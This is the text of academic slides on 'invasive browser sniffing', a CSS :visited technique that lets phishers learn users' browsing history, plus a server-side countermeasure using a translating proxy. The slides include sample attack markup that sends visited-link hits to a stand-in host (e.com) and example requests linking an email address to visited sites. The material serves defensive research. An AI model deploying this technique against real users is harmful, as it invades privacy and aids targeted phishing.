Invasive Browser Sniffing and Countermeasures Markus Jakobsson Sid Stamm Phishing overview Symantec says phishing attacks up by 81 per cent in first half of 2006 The main goal of attacks is to secure confidential information like passwords, login information,ﾊand addresses to be able to meddle in peopleﾕs financial affairs # sites (recorded by apwg) in july 2006: 14191

His wife Hurry up! His bank His conscience

He performed such a transaction ACH transfer … nice for phisher!

First things first: How does the phisher know his wife’s name? Jagatic, Johnson, Jakobsson, Menczer, “Social Phishing”, To appear in CACM, available at http://www.stop-phishing.com

And then: How does the phisher know where he has been? What you see: The Code: <style> a { color: blue; } #id1:visited { color: red; } #id2:visited { color: red; } #id3:visited { color: red; } </style> <a id=id1 href=“x.com”>Link 1</a> <a id=id2 href=“y.com”>Link 2</a> <a id=id3 href=“z.com”>Link 3</a> Link 1 Link 2 Link 3

And then: How does the phisher know where he has been? Not visible: The Code: <style> a { color: blue; } #id1:visited { background: url(‘e.com/?id=1’); } #id2:visited { background: url(‘e.com/?id=2’); … </style> <a id=id1 href=“x.com”></a> <a id=id2 href=“y.com”></a> <a id=id3 href=“z.com”></a> Link 1 Link 2 Link 3

Architecture of this attack ? Attack is as old as Feb. 2002: http://seclists.org/bugtraq/2002/Feb/0271.html Reported recently at Open Web Application Security Project OWASP (9/21/2006) by Jeremiah Grossman (from WhiteHat Security)

Connecting to email address GET /?IAM=alice@x.com (lots of links) Phisher can now associate Alice with link 1 and 42 GET /hit?id=1&IAM=alice@x.com Additionally, email address can be obtained through the auto-fill field extraction (see Fil’s riddle site) GET /hit?id=42&IAM=alice@x.com

Try it? Try it on a friend? browser-recon.info

Where can this be stopped? User paranoia (clear all) Our approach Jackson, Bortz, Boneh, Mitchell

Server-side defense against browser sniffing Principle I: Avoid correct guesses! www.chase.com/page.html?gr4450_ooP)+ Principle II: Cause false positives! add wamu.com, citi.com, etc etc. Entry point pollution consists of all entry points (the anonymity set). • POLLUTION DOES NOT require effort by client, can be done behind-the-scenes

Server-side defense against browser sniffing Principle I: Avoid correct guesses! But what about the portal? Principle II: Cause false positives! But what if they are all stigmatizing?

Translating Proxy T SB GET /?13fc021b ST GET / C Domain of S Now we implement a “Layer” on top of the server, called a Translator. IDEALLY: the two would be on one computer communicating via Loopback interface or other mechanism. WHY: so S_B doesn’t have to change, prevent site programming mistakes, etc C Domain of S

Experimental data

What I have not mentioned How do we deal with robot policies? What about search engines, proxies? How do we select false positives? What about links to off-site data? How do we handle bookmarks? What does the prototype do? Please see the paper!